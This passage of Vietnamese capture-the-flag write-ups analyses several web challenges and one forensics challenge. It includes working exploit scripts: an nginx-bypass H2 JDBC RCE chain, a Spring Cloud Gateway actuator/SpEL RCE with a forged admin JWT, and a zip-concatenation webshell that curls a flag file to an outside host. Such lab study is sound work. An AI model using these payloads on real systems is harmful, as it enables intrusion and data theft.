dockerfile: Dockerfile
container_name: portfolio
networks:
- no-internet
restart: always
nginx:
image: nginx:1.20.2
container_name: nginx-proxy
ports:
- "8989:80"
volumes:
- ./nginx.conf:/etc/nginx/nginx.conf
depends_on:
- app
networks:
- no-internet
- internet
restart: always
networks:
internet: {}
no-internet:
internal: true
File này định nghĩa hai dịch vụ riêng biệt là app (ứng dụng Spring Boot) và nginx, đặt cả hai vào cùng một mạng nội bộ (no-internet). Trong mạng này, Docker cho phép các container tìm thấy nhau bằng tên dịch vụ. Do đó, container nginx có thể gửi dữ liệu đến container app chỉ bằng cách gọi địa chỉ http://app.
Vậy khi Nginx nhận một request hợp lệ (tức là không bị chặn bởi 403), chỉ thị proxy_pass http://app:8989; sẽ được thực thi và request được chuyển tiếp tới http://app:8989 - tiếp nhận bởi máy chủ web Tomcat được nhúng sẵn trong Spring Boot. Tomcat sẽ normalize đường dẫn URL trước khi giao cho Spring Boot. Quá trình này bao gồm việc loại bỏ các ký tự không hợp lệ ở cuối đường dẫn -> kết hợp với việc ta muốn thêm ký tự đặc biệt vào endpoint /internal/testConnection để bypass nginx thì Tomcat sẽ giúp xóa đi ký tự thừa đó -> request gửi đến SpringBoot với endpoint chuẩn /internal/testConnection.
Phân tích lỗ hổng
Dựa vào những thông tin đã có được, ta thấy có thể khai thác được 3 lỗ hổng chính.
Lỗ hổng 1: Nginx Reverse Proxy Bypass
Lỗ hổng này xuất phát từ sự không nhất quán trong cách Nginx và Spring Boot xử lý URL, cho phép bỏ qua lớp kiểm soát truy cập ở tầng proxy.
Nginx được cấu hình với một quy tắc rất chặt chẽ để chặn truy cập trực tiếp vào endpoint nội bộ.
Tại file nginx.conf, reverse proxy này đã được cấu hình để chặn truy cập trực tiếp vào endpoint nội bộ:
location = /internal/testConnection {
return 403;
}
Dấu = trong Nginx yêu cầu so sánh chính xác từng ký tự. Chỉ cần URL trong request khác dù chỉ một ký tự so với /internal/testConnection thì sẽ không bị nginx chặn lại, từ điểm này ta có thể tìm được cách bypass nginx; nhưng nếu thế thì khi request tiếp tục được nginx gửi đi cho backend xử lý, có thể URL sẽ bị nhận dạng sai do ký tự lạ. Tuy nhiên như đã phân tích ở phần trên, máy chủ web Tomcat được nhúng trong Spring Boot lại có cơ chế chuẩn hóa (normalize) URL, nó sẽ tự động loại bỏ các ký tự trắng (whitespace) không hợp lệ ở cuối đường dẫn -> điều này giúp cho URL bị thay đổi để bypass nginx sẽ được sửa về như cũ trước khi Spring Boot tiếp nhận.
Lỗ hổng 2: H2 JDBC Connection String Injection (RCE)
Đây là lỗ hổng cho phép ta thực thi mã từ xa.
Tại file InternalController.java:
String fullUrl = baseUrl + "USER=" + username + ";PASSWORD=" + password + ";";
Connection conn = DriverManager.getConnection(fullUrl);
Ứng dụng đã ghép nối trực tiếp username và password vào chuỗi kết nối JDBC (fullUrl). Ta có thể chèn các tham số điều khiển của H2 vào các trường này. Tham số nguy hiểm nhất là INIT, cho phép thực thi một script SQL ngay khi kết nối được tạo. Bằng cách sử dụng CREATE ALIAS, chúng ta có thể tạo ra một hàm Java tùy ý và thực thi lệnh hệ thống, dẫn đến RCE.
Lỗ hổng 3: Error-Based Exfiltration
Ứng dụng xử lý lỗi thiếu an toàn, vô tình làm lộ thông tin nhạy cảm.
Tại file InternalController.java:
catch (Exception e) {
String var10002 = e.getMessage();
model.addAttribute("error", "Connection failed: " + var10002 + " | URL: " + fullUrl);
return "internal";
}
Khi có lỗi làm việc với CSDL, thay vì trả về một thông báo lỗi chung chung, ứng dụng lại lấy toàn bộ thông báo lỗi gốc từ CSDL (e.getMessage()) và hiển thị nó cho người dùng. Ta có thể lợi dụng hành vi này để đọc nội dung file bằng cách ra lệnh cho CSDL thực thi một file chứa flag (vốn không phải là script hợp lệ), CSDL sẽ báo lỗi kèm nội dung của file flag.
Ý tưởng khai thác
Kết hợp các lỗ hổng trên, ta có hướng khai thác:
-
Bypass Nginx Bằng cách gửi một request POST tới đường dẫn có chứa một ký tự trắng ở cuối, tham khảo tại đây -> ví dụ
POST /internal/testConnection\x09(với\x09là ký tự tab), request sẽ không khớp với quy tắc so khớp chính xác của Nginx và được chuyển tiếp đến backend. Tại backend, Tomcat sẽ tự động chuẩn hóa URL về dạng/internal/testConnectiontrước khi Spring Boot xử lý, giúp ta truy cập thành công vào endpoint chứa lỗ hổng. -
JDBC URL Injection: Khai thác JDBC Injection để gửi các lệnh SQL. Bước đầu tiên là tạo một bảng tạm và sử dụng tham số DB_CLOSE_DELAY=-1 để giữ cho CSDL tồn tại giữa các request.
-
Build Payload RCE
Gửi hàng loạt request để xây dựng payload RCE trong bảng tạm vừa được tạo, mỗi request sẽ nối thêm một ký tự vào payload đang được lưu trong bảng tạm thông qua lệnh UPDATE ... SET d = d || CHAR(...). Kỹ thuật này để tránh các giới hạn về độ dài request và bị hệ thống phòng thủ phát hiện.
Trong file InternalController, có đoạn code kiểm tra độ dài của input:
if ((username + password).length() >= 95) { ... }
Payload cuối cùng được xây dựng sẽ sử dụng CREATE ALIAS để định nghĩa một hàm Java có khả năng thực thi lệnh hệ thống là cat /* > /tmp/shaaa — lệnh này để đọc nội dung của file flag có tên ngẫu nhiên ở thư mục gốc và ghi kết quả vào một file tạm.
- Run payload để lấy flag: Sau khi payload trong bảng tạm đã hoàn chỉnh, ta thực thi nó bằng hai lệnh:
- Đầu tiên dùng
FILE_WRITEđể ghi payload từ CSDL ra file script trên server (ví dụ/tmp/shaaa), sau đó dùngRUNSCRIPT FROM '/tmp/shaaa'để thực thi script đó. Lúc này lệnhcat /* > /tmp/shaaađược thực thi -> file/tmp/shaaađã chứa nội dung flag. - Cuối cùng, lợi dụng lỗ hổng Error-Based Exfiltration bằng cách gửi một request yêu cầu
RUNSCRIPT FROM '/tmp/shaaa'. Thao tác này sẽ gây ra lỗi cú pháp SQL do nội dung trong file không phải lệnh SQL mà là flag -> ứng dụng sẽ trả về thông báo lỗi chứa chính nội dung của flag.
Proof-of-concept
from pwn import *
import random
context.log_level = 'info'
# Configuration
HOST = "localhost"
PORT = 8989
SESSION_ID = "B5892AF2A215B6DCF85102E7B4C4FEE1"
ran_table = "t" + str(random.randint(1000, 9999))
def send_post(path, data):
"""Send POST request using pwntools"""
# Connect to the server
conn = remote(HOST, PORT)
# Build POST request body
body_params = '&'.join([f"{k}={v}" for k, v in data.items()])
# Build HTTP POST request
request = f"POST {path} HTTP/1.1\r\n"
request += f"Host: {HOST}:{PORT}\r\n"
request += "Content-Type: application/x-www-form-urlencoded\r\n"
request += f"Cookie: JSESSIONID={SESSION_ID}\r\n"
request += f"Content-Length: {len(body_params)}\r\n"
request += "Connection: close\r\n"
request += "\r\n"
request += body_params
# Send request
conn.send(request.encode())
# Receive response
response = conn.recvall(timeout=2).decode('utf-8', errors='ignore')
conn.close()
return response
# Create table
log.info(f"Creating table {ran_table}")
data = {
"username": "a",
"password": f"a;DB_CLOSE_DELAY=-1;INIT=CREATE TABLE {ran_table}(d VARCHAR)",
}
r = send_post("/internal/testConnection\x09", data)
if "faild" not in r:
log.success(f"Created table {ran_table}")
# Insert first part
log.info("Inserting first part")
data = {
"username": "a",
"password": f"a;DB_CLOSE_DELAY=-1;INIT=INSERT INTO {ran_table} VALUES('CREATE ')",
}
r = send_post("/internal/testConnection\x09", data)
if "faild" not in r:
log.success("Inserted first part")
def add(num):
"""Append character to the payload"""
data = {
"username": "a",
"password": f"a;DB_CLOSE_DELAY=-1;INIT=UPDATE {ran_table} SET d = d || CHAR({num})",
}
r = send_post("/internal/testConnection\x09", data)
if "faild" not in r:
log.info(f"Appended CHAR({num})")
payload = """ALIAS SHELL AS $$void shell()throws Exception{ Runtime.getRuntime().exec(new String[]{"/bin/bash","-c","cat /* > /tmp/shaaa"});}$$;CALL SHELL();"""
log.info("Building payload character by character")
for c in payload:
add(ord(c))
# Write to /tmp/shaaa
log.info("Writing to /tmp/shaaa")
data = {
"username": "a",
"password": f"a;DB_CLOSE_DELAY=-1;INIT=CALL FILE_WRITE((SELECT * FROM {ran_table} LIMIT 1), '/tmp/shaaa')",
}
r = send_post("/internal/testConnection\x09", data)
if "faild" not in r:
log.success("Wrote to /tmp/shaaa")
# Execute
log.info("Executing /tmp/shaaa")
data = {
"username": "a",
"password": f"a;DB_CLOSE_DELAY=-1;INIT=RUNSCRIPT FROM '/tmp/shaaa'",
}
r = send_post("/internal/testConnection\x09", data)
if "faild" not in r:
log.success("Executed /tmp/shaaa")
# Check result
log.info("Checking result from /tmp/shaaa")
data = {
"username": "a",
"password": f"a;DB_CLOSE_DELAY=-1;INIT=RUNSCRIPT FROM '/tmp/shaaa'",
}
r = send_post("/internal/testConnection\x09", data)
print("\n" + "="*50)
print("RESPONSE:")
print("="*50)
print(r)
ZC-1
Write-up được viết bởi: Lê Hải Nhật - sinh viên ngành An toàn không gian số K67.
Phân tích challenge
Dựa vào Docker Compose, có thể thấy challenge bao gồm 2 ứng dụng web với:
- app1 là ứng dụng web Python cho phép đăng kí, đăng nhập, và tải lên file zip, ứng dụng được expose với port 8080.
- app2 là ứng dụng web PHP phục vụ cho việc giải nén và lưu trữ các file vừa được tải lên, ứng dụng này không thể truy cập từ bên ngoài mà chỉ có thể thông qua app1 hoặc từ bên trong.
Phân tích mã nguồn
App1
Đi vào phân tích mã nguồn, có thể thấy đây là một ứng dụng web viết bằng Django. Với Django, để xác định nhanh các endpoint được sử dụng, chúng ta cần quan tâm đến 2 file urls.py và views.py. Trong đó:
urls.py: đăng ký các endpoint sử dụng, đồng thời gán các endpoint đó với các ViewSet (có thể hiểu là handler), tiếp nhận và xử lý requestviews.py: logic cụ thể của từng endpoint con
Ứng dụng bao gồm các endpoint chính sau:
-
POST
/gateway/user: cho phép người đăng kí với các trường username, password (trong mã nguồn đây chính là hàmcreate()tạiUserViewSet, bởi vìcreate()chính là handler cho POST request trong Django)
-
POST
/gateway/transport: cho phép người dùng đã xác thực tải lên file zip. Endpoint này sử dụng thư việnzipfiletrong python để thực hiện kiểm tra extension (đuôi) của các tập tin trong file zip được upload dựa trên cơ chế whitelist (chỉ cho phép các extension nhất định) trước khi gửi nó đến endpointupload.phpcủa app2.

-
GET
/gateway/health: nhận vào parammodulecho phép người dùng kiểm tra hoạt động của các endpoint tại app2

-
POST
/auth/token: thực hiện xác thực người dùng với username và password, trả về session token (sử dụng cho việc xác thực) và refresh token.
App2
Ứng dụng bao gồm các endpoint sau
-
POST
upload.php: cho phép upload file zip (từ app1) và thực hiện giải nén file zip và lưu các file sau khi đã giải nén trong folderstorage/<user_id>
-
health.php: một file rỗng chỉ nhằm mục đích kiểm tra kết nối, hoạt động của app2
Ý tưởng khai thác
Dựa trên cấu trúc của challenge, hệ thống cho phép tải lên file zip sau đó thực hiện giải nén và lưu trữ các file trong thư mục của ứng dụng web PHP (note: thư mục lưu trữ file không có cấu hình để ngăn việc thực thi file .php). Vậy hướng khai thác ở đây khả năng cao là tải lên file webshell thông qua việc tải lên file zip chứa webshell đã được chuẩn bị sẵn.
Dựa trên mục tiêu trên, có 2 vấn đề cần giải quyết:
- Làm thế nào để bypass được file extension check ở app1 -> Zip Concatenation
Trong khi app1 thực hiện kiểm tra file zip upload với thư viện zipfile thì app2 lại sử dụng Archive7z\Archive7z hay công cụ 7z để thực hiện giải nén file zip.
Bạn có thể chủ động tìm hiểu thêm về cấu trúc file zip để hiểu rõ hơn về bài Write-up này, bài Write-up này sẽ không đi sâu vào phân tích cấu trúc file zip hay giải thích cụ thể về lỗ hổng Zip Concatenation.
Đi vào chi tiết hơn cách mà 2 trình ZIP Parser này hoạt động:
-
Đối với thư viện Python
zipfile, ZIP Parser này không bắt đầu đọc từ đầu tệp mà thay vào đó, nó quét ngược từ cuối file để tìm kiếm lần lượt End of Central Directory, Central Directory, file entry dựa trên offset.
-
Đối với
7z, định dạng này đặt signature và các header của nó ở đầu tệp. Công cụ 7z bắt đầu phân tích file zip từ đầu tệp (offset = 0)
=> Điểm không đồng nhất ở đây cùng với hình ảnh mô tả của challenge gợi cho tôi ý tưởng về việc tận dụng điểm khác biệt của 2 trình ZIP Parser để tạo một file zip hợp lệ với cả 2 trình parser tuy nhiên nội dung đọc được của chúng lại khác nhau bởi cơ chế phân tích của chúng khác nhau.

Tìm hiểu thêm một vài kĩ thuật tấn công liên quan đến định dạng file Zip tôi tìm được kĩ thuật Zip Concatenation phù hợp với tình huống lỗ hổng này.
- Làm thế nào để có thể thực thi file PHP nếu đã upload được thành công -> SSRF
Ứng dụng app1 cho phép kiểm tra hoạt động của backend tại endpoint GET /gateway/health. Endpoint này nhận vào params module, input này được nối chuỗi vào storage_url mà không qua kiểm tra sàng lọc dẫn đến có thể khai thác SSRF ở đây để gọi đến file PHP đã được tải lên => Thực thi thành công file .php

Chuẩn bị payload
- Tạo file zip an toàn chứa các file entry phù hợp với whitelist của challenge
echo helloworld > user.txt
zip user.zip user.txt >/dev/null
- Tạo 7z archive chứa web shell
echo '<?php system("curl https://w4zhdt6e.requestrepo.com/ -F \"file=@/flag.txt\"") ?>' > shell.php
7z a -t7z evil.7z shell.php >/dev/null
File này có kích thước là 207 bytes (0xCF bytes)
- Chỉnh sửa payload sao cho hợp lệ với zipfile
Chúng ta sẽ thực hiện nối 2 file đơn giản bằng việc sử dụng lệnh cat
cat evil.zip user.zip > zipconcat.zip
Tuy nhiên file zip này chưa hợp lệ bởi việc thêm trước file zip một file 7z sẽ khiến offset của phần user.zip bị thay đổi, do đó cần thực hiện chỉnh sửa offset sao cho payload này hợp lệ với zipfile.
Các 2 vị trí offset cần thay đổi (9D bởi thêm vào trước file này 0x9D bytes) là:
- Offset tới
Central Directory:- Nằm trong phần
End of Centrol directory - Có giá trị là
0x4D - chỉnh sửa thành
CF = 4D + 11C
- Nằm trong phần
- Offset tới
Local file Header- Nằm tại offset 42 tình từ đầu mỗi Central Directory
- có giá trị là
0x00 - chỉnh sửa thành
CF = 00 + CF
Trực tiếp thay đổi offset bằng việc sử dụng hex editor

cat evil.7z user.zip > zipconcat.zip
- Kiểm tra file với thư viện
zipfile
- Kiểm tra file zip với 7z
Vì tập lệnh đặt tệp lưu trữ 7z ở ngay đầu tệp được kết hợp, nên các công cụ 7z sẽ coi tệp được kết hợp như một tệp lưu trữ 7z bình thường và trích xuất nội dung 7z (tệp PHP trong ví dụ của bạn) mà không cần động đến các cấu trúc ZIP được thêm vào phía dưới
Mặc dù có thông báo lỗi bởi 7z phát hiện còn các bytes ở cuối file nhưng payload vẫn được giải nén thành công

Thực hiện tấn công
Tạo tài khoàn người dùng và lấy Authorization token (JWT):
Thực hiện upload file payload vừa tạo với Authorization header chứa token vừa lấy được
Thực hiện SSRF thể thực thi file php đã upload, tuy nhiên cần xác định được vị trí của file trên server
File sau khi extract được lưu tại thư mục storage/<user_id>, chúng ta có thể dễ dàng tìm được user id trong JWT token
Thực hiện SSRF
Mặc dù request trả về "ERR" nhưng chúng ta vẫn thành công lấy được flag
Springtime
Write-up được viết bởi: Nguyễn Huy Nam (shibajutsu) - sinh viên ngành Kỹ thuật máy tính K67 và Nguyễn Ngọc Toàn Thắng (attom) - sinh viên ngành Khoa học máy tính K68.
Phân tích challenge
- Description: Spring always brings back so many memories. Build docker to test your own kit, spawn an instance to exploit and get the flag. Get the source code: springtime-sourcecode.zip
Challenge là một ứng dụng gồm 2 services độc lập:
- Gateman service: Port 8080, là dịch vụ spring cloud gateway với mục đích routing
- Newsman service: Port 8082, dịch vụ Custom News Service để quản lý tin tức
Phân tích mã nguồn
Ứng dụng Newsman quản lý tin có các chức năng như xem tất cả các tin, thêm tin và xem tin cụ thể dựa vào id của news

Sau khi đọc qua source code, ta có thể thấy có một lỗ hổng SpEL injection trong chức năng view. Ta có thể đăng bài với content body chứa SpEL, sau đó truy cập /id/view sẽ trigger method render và thực thi
Đi sâu một chút tại sao method render lại thực thi SpEL.

Ở NewsService.java, ta thấy ctx là một instance của SafeEvaluationContext, sau đó được return qua method parseExpression để parse từ SpEL sang AST (Abstract Syntax Tree) để chuẩn bị cấu trúc dữ liệu để có thể thực thi từng bước một.
Để phân tích, có thể decompile thư viện spring-expression-x.x.x.jar, luồng như sau:
Khi body đi vào method parseExpression, class SpelExpressionParser được import tìm method đó, nhưng không có method đó, gọi đến class mà nó extends là TemplateAwareExpressionParser, method parseExpression trong này gọi đến các method như parseTemplate -> parseExpression rồi sau đó trả ra instance SpelExpressionParse.doParseExpression()

Khi này, SpelExpressionParser.doParseExpression gọi đến InternalSpelExpressionParse.doParseExpression, trả ra một SpelEpxression

và khi này, đối tượng được truyền vào .getValue tại method NewsService.render là một SpelExpression
Về class SpelExpression là implements của class Expression

Ta thấy class Expression có rất nhiều abstract method getValue, nhưng ở NewsService ta thấy getValue được truyền vào 2 tham số là EvaluationContext (là một extends của Context) và String.class (là expectedResultType)
Từ đây flow sẽ là: check context xem có phải null không -> khởi tạo một instance của ExpressionState -> gọi SpelNodeImpl.getTypedValue() -> return getValueInternal()

Nhưng SpelNodeImpl.getValueInternal là một abstract method, nên nó sẽ gọi đến các class đã implement class này, ở đây ta thấy là this.ast.getTypedValue, nên đó sẽ là class CompoundExpression

Khi parser chuyển SpEL thành AST, mỗi node (ví dụ TypeReference, MethodReference,...) đã được phân loại; CompoundExpression.getValueRef và getValueInternal duyệt các node này, pushactiveContextObject vào ExpressionState cho từng bước và gọi getValueInternal/getValueRef của từng node, các node khác nhau như TypeReference, MethodReference dùng TypeLocator, MethodResolver (reflection) để resolve class và invoke method
- Ví dụ
T(java.lang.Runtime).getRuntime().exec('…')sẽ được resolved thànhClass<Runtime>->Runtime.getRuntime()->Runtime.exec(...)và thực thi lệnh hệ thống.
Vậy ta đã hiểu sơ qua tại sao ta có thể thực thi SpEL và có thể RCE trên service này, tuy SafeEvaluationContext có blacklist các keyword như class, getclass và forname, nhưng dựa vào ý tưởng của CVE-2025-48734, ta có thể dùng getDeclaringClass() để bypass và dẫn tới RCE.
Tuy nhiên để có thể update news, ta cần xác thực jwt token admin, nên ta cần jwt secret để giả mạo admin

JWT secret được lưu trong application.yml của newsman service, nên ta sẽ tận dụng CVE-2025-41243
API /actuator trong Spring Boot là một nhóm endpoins dùng để giám sát, quản lý và tương tác gateway khi ứng dụng đang chạy mà không cần build và khởi chạy lại.
Lỗ hổng được tận dụng do cấu hình Spring Cloud Gateway (SCG) expose api /actuator mà không có xác thực, cho phép bất kì ai gửi POST request để tạo route mới

Ứng dụng sử dụng lib SCG 4.3.0, nằm trong những version bị ảnh hưởng của CVE-2025-41243
và đáp ứng đủ điều kiện khai thác

Dựa vào blog https://rce.moe/2025/09/29/CVE-2025-41243/, ta có thể override đường dẫn resource sang system path để đọc file tùy ý
Ta sẽ gửi POST request tới /actuator/gateway/routes/test để tạo một route test mới với các props như id, uri, predicates và filters được viết chi tiết tại đây

Ta quan tâm tới filters, có 3 phần tử, cả 3 phần tử đều sử dụng AddResponseHeader là một GatewayFilterFactory có mục đích add header vào response của một route, với value là các SpEL, ta có thế sử dụng các gateway filer khác cũng hỗ trợ SpEL ở args thay thế
- Filter 1: set systemPropertiese spring.cloud.gateway.server.webflux.restrictive-property-accessor.enabled là false để bypass các hạn chế property access trong WebFlux (default là true) để SpEL modify các props sau mà không bị block
- Filter 2: Modify mapping cho
/webjars/**để trỏ đếnfile:///, expose toàn bộ file system qua web - Filter 3: gọi method
afterPropertiesSetđể apply change cho filter trước (mapping)
Sau đó, ta refresh để apply change cho gateway routes mới

Ta đã thành công đọc file hệ thống
Lấy file newsman.jar về, decompile và ta sẽ có được jwt_secret

Giờ chỉ cần khai thác theo luồng đã nói ở trên, khác một chút là ta sẽ đăng ký một routes mới là /news đến uri http://localhost:8082 để có thể inject SpEL vào Newsman Service: Add routes /news tới localhost:8082 -> Ký jwt giả mạo admin -> PUT content body của news chứa SpEL -> /news/id/view để trigger render -> RCE

Lưu ý
Sau khi thực hiện refresh route để khai thác CVE-2025-41243, các SpEL expressions trong filters thường trả về null do tập trung vào side effects (modify beans). Refresh route gây BindValidationException vì args.value vi phạm @NotEmpty, làm hỏng RouteDefinitionRepository và chặn refresh tiếp theo. Để tiếp tục khai thác, reload Docker container hoặc tạo một instance mới

Proof-of-concept
Leak file system to get jwt secret
Tạo route mới với SpEL:
POST /actuator/gateway/routes/test HTTP/1.1
Host: localhost:88880
Connection: keep-alive
Content-Type: application/json
Content-Length: 1023
{
"id": "spel-route",
"uri": "http://localhost:8080/",
"predicates": [
{
"name": "Path",
"args": {
"pattern": "/test"
}
}
],
"filters": [
{
"name": "AddResponseHeader",
"args": {
"name": "Test",
"value": "#{@systemProperties['spring.cloud.gateway.server.webflux.restrictive-property-accessor.enabled'] = false}"
}
},
{
"name": "AddResponseHeader",
"args": {
"name": "Test",
"value": "#{@resourceHandlerMapping.urlMap['/webjars/**'].locationValues[0]='file:///'}"
}
},
{
"name": "AddResponseHeader",
"args": {
"name": "Test",
"value": "#{@resourceHandlerMapping.urlMap['/webjars/**'].afterPropertiesSet}"
}
}
]
}
Refresh:
POST /actuator/gateway/refresh HTTP/1.1
Host: localhost:8888
Connection: keep-alive
Access file system:
GET /webjars/etc/passwd HTTP/1.1
Host: localhost:8888
Connection: keep-alive
RCE
import base64
import hashlib
import hmac
import json
import time
import requests
import re
secret = 'fake_secret_for_testing'
base_url = 'http://localhost:8888'
headers = {'Content-Type': 'application/json'}
# === 1. Generate JWT token ===
def generate_jwt():
key = hashlib.sha256(secret.encode()).hexdigest().encode()
header = {'alg': 'HS256', 'typ': 'JWT'}
payload = {
'sub': 'admin',
'role': 'ADMIN',
'iat': int(time.time()),
'exp': int(time.time()) + 3600
}
b64 = lambda b: base64.urlsafe_b64encode(b).rstrip(b'=')
signing = b'.'.join([
b64(json.dumps(header, separators=(',', ':')).encode()),
b64(json.dumps(payload, separators=(',', ':')).encode())
])
sig = base64.urlsafe_b64encode(hmac.new(key, signing, hashlib.sha256).digest()).rstrip(b'=')
return (signing + b'.' + sig).decode()
token = generate_jwt()
auth_header = {'Authorization': f'Bearer {token}'}
# === 2. Đăng ký route gateway ===
requests.post(
f'{base_url}/actuator/gateway/routes/news',
headers=headers,
json={
"id": "news",
"predicates": [{"name": "Path", "args": {"_genkey_0": "/news/**"}}],
"uri": "http://127.0.0.1:8082"
}
)
requests.post(f'{base_url}/actuator/gateway/refresh')
# === 3. Gửi payload SpEL để lấy tên flag qua ls ===
payload_ls = {
"id": "1",
"title": "t",
"description": "d",
"body": "#{role.getDeclaringClass().getClassLoader().loadClass(\"java.util.Scanner\").getConstructors().?[getParameterCount()==1 and getParameterTypes()[0].getName().equals(\"java.io.InputStream\")][0].newInstance(role.getDeclaringClass().getClassLoader().loadClass(\"java.lang.Runtime\").getMethod(\"getRuntime\").invoke(null).exec(\"ls /app\").getInputStream()).useDelimiter(\"\\\\A\").next()}",
"author": "a",
"draft": False
}
requests.put(f'{base_url}/news/1', headers={**headers, **auth_header}, json=payload_ls)
resp_ls = requests.get(f'{base_url}/news/1/view', headers=auth_header)
flag_file = re.search(r'flag-[\w\d]+', resp_ls.text)
if not flag_file:
print("Không tìm thấy flag file")
exit(1)
flag_name = flag_file.group(0)
print(f"Found flag: {flag_name}")
payload_cat = {
"id": "1",
"title": "t",
"description": "d",
"body": f"#{{role.getDeclaringClass().getClassLoader().loadClass(\"java.util.Scanner\").getConstructors().?[getParameterCount()==1 and getParameterTypes()[0].getName().equals(\"java.io.InputStream\")][0].newInstance(role.getDeclaringClass().getClassLoader().loadClass(\"java.lang.Runtime\").getMethod(\"getRuntime\").invoke(null).exec(\"cat /app/{flag_name}\").getInputStream()).useDelimiter(\"\\\\A\").next()}}",
"author": "a",
"draft": False
}
requests.put(f'{base_url}/news/1', headers={**headers, **auth_header}, json=payload_cat)
resp_flag = requests.get(f'{base_url}/news/1/view', headers=auth_header)
print("\nFlag output:")
print(resp_flag.text)
Các challenge Forensics
Các write-up dưới đây được viết bởi: Nguyễn Danh Quân (pacho) - sinh viên ngành CNTT Việt-Pháp K69.
DNS Exfil
Flow giải bài
DNS Queries
↓
Extract: timestamp, prefix, hexfragmdnsent
↓
Group by prefix → {p: [...], f: [...]}
↓
Sort by timestamp (ascending)
↓
Remove adjacent duplicates
↓
Join hex fragments → "c7aec5d0..."
↓
Convert hex to bytes → ciphertext
↓
Validate: len(ciphertext) % 16 == 0
↓
Derive key/IV: SHA256(APP_SECRET) → key=H[:16], iv=H[16:32]
↓
Decrypt: AES-128-CBC(ciphertext, key, iv) → plaintext_padded
↓
Remove PKCS#7 padding → plaintext
↓
Decode UTF-8 → text
↓
Regex search: CSCV2025\{[^}]+\}
Phân tích challenge và hướng giải
Challenge cung cấp 1 file .pcap và 2 file log hệ thống - có vẻ đây là file access.log và error.log của một máy chủ web sử dụng nginx.

Mở file .pcap phát hiện rất nhiều các DNS entries và không có kết nối của các giao thức khác, kết hợp với hint từ đề bài, có thể xác định được mục tiêu cần tìm các kết nối có dấu hiệu chuyển dữ liệu ra ngoài. Một số dấu hiệu có thể kể đến như DNS query có độ dài bất thường, chứa các ký tự random,...

Tiến hành kiểm tra các file log, phát hiện các dấu hiệu bất thường như các dòng log thông báo việc xác thực của người dùng admin theo sau bởi các dòng log về việc lệnh hệ thống đã được chạy thông qua webshell:

Các câu lệnh đã được chạy thông qua webshell:
- whoami
- id
- uname -a
- ping -c 10.10.10.53
- cat /etc/shadow (không thành công)
- cat /flag (không thành công)
- ls -la /var/www/html
Đồng thời phát hiện một file có tên getfile.php được tải lên thư mục /var/www/html/media:

Phát hiện các dấu vết liên quan đến mã hóa AES:

Sau khi trích xuất tất cả các DNS query name, phát hiện một số tên miền có dấu hiệu bất thường:
1760509440.192821000 10.10.5.80 p.c7aec5d0d81ba8748acac6931e5add6c24b635181443d0b9d2.hex.cloudflar3.com
1760509440.212821000 10.10.0.53 p.c7aec5d0d81ba8748acac6931e5add6c24b635181443d0b9d2.hex.cloudflar3.com
1760509440.426899000 10.10.5.80 p.f8aad90d5fc7774c1e7ee451e755831cd02bfaac3204aed8a4.hex.cloudflar3.com
1760509440.446899000 10.10.0.53 p.f8aad90d5fc7774c1e7ee451e755831cd02bfaac3204aed8a4.hex.cloudflar3.com
1760509440.497508000 10.10.5.80 p.3dfec8a22cde4db4463db2c35742062a415441f526daecb59b.hex.cloudflar3.com
1760509440.517508000 10.10.0.53 p.3dfec8a22cde4db4463db2c35742062a415441f526daecb59b.hex.cloudflar3.com
1760509440.599459000 10.10.5.80 p.f6af1ecb8cc9827a259401e850e5e07fdc3c1137f1.hex.cloudflar3.com
1760509440.619459000 10.10.0.53 p.f6af1ecb8cc9827a259401e850e5e07fdc3c1137f1.hex.cloudflar3.com
1760509443.714885000 10.10.5.80 f.6837abc6655c12c454abe0ca85a596e98473172829581235dd.hex.cloudflar3.com
1760509443.734885000 10.10.0.53 f.6837abc6655c12c454abe0ca85a596e98473172829581235dd.hex.cloudflar3.com
1760509443.769962000 10.10.5.80 f.95380b06bf6dd06b89118b0003ea044700a5f2c4c106c3.hex.cloudflar3.com
1760509443.789962000 10.10.0.53 f.95380b06bf6dd06b89118b0003ea044700a5f2c4c106c3.hex.cloudflar3.com
Có thể thấy rằng kẻ tấn công trích xuất dữ liệu đánh cắp được bằng cách encode dữ liệu này dưới dạng hexadecimal, sau đó gán đoạn dữ liệu này vào trong các truy vấn DNS (qnames). Mỗi qname sẽ chứa 1 phần của dữ liệu bị đánh cắp (có thể suy đoán rằng dữ liệu này đã được mã hóa AES, sau đó encode dưới dạng hexadecimal).
Tìm hiểu sâu hơn, mình phát hiện tất cả các qname đều có cấu trúc như sau:
<prefix>.<hexfragment>.hex.cloudflar3.com
example:
p.c7aec5d0d81ba8748acac6931e5add6c24b635181443d0b9d2.hex.cloudflar3.com
Trong đó:
p: prefix, đóng vai trò là stream identifierhex_data: dữ liệu bị mã hóa
Với những thông tin này, mình tiến hành gộp các mảnh dữ liệu dựa trên prefix của chúng và thời gian kết nối được khởi tạo, tạo thành 1 chuỗi dữ liệu.
Tìm hiểu về phương pháp mã hóa của kẻ tấn công, mình phát hiện ra:
APP_SECRET:F0r3ns1c-2025-CSCV(tìm thấy trongerror.log)- Phương pháp mã hóa của kẻ tấn công:
H = SHA256(APP_SECRET)
AES_KEY = H[0:16] # First 16 bytes
AES_IV = H[16:32] # Next 16 bytes
Từ những dữ kiện này, có thể thực hiện xây dựng script giải mã và khôi phục dữ liệu bị đánh cắp.
Solve script
from pathlib import Path
import re
import hashlib
from binascii import unhexlify
from Crypto.Cipher import AES
APP_SECRET = b"F0r3ns1c-2025-CSCV"
DNS_FILES = [Path("dns_queries_all1.txt"), Path("dns_queries_all.txt")]
QNAME_SUFFIX = ".hex.cloudflar3.com"
def pkcs7_unpad(data: bytes) -> bytes:
if not data:
return data
pad = data[-1]
# return unmodified data on invalid padding instead of raising
if pad == 0 or pad > AES.block_size:
return data
if data[-pad:] != bytes([pad]) * pad:
return data
return data[:-pad]
def find_input_file():
for p in DNS_FILES:
if p.exists():
return p
# no file found; return None instead of raising
return None
def parse_dns_dump(path: Path):
pattern = re.compile(r"^\s*([0-9]+\.[0-9]+)\s+\S+\s+(\S+)$")
with path.open("r", encoding="utf-8") as fh:
for line in fh:
m = pattern.match(line.strip())
if not m:
continue
ts, qname = m.group(1), m.group(2)
# return timestamp as float for ordering
yield float(ts), qname
def extract_fragments(dump_path: Path):
streams = {}
for ts, qname in parse_dns_dump(dump_path):
if not qname.endswith(QNAME_SUFFIX):
continue
left = qname[:-len(QNAME_SUFFIX)]
if left.endswith('.'):
left = left[:-1]
parts = left.split('.')
if len(parts) < 2:
continue
prefix = parts[0]
hexpart = parts[1]
if not re.fullmatch(r"[0-9a-fA-F]+", hexpart):
continue
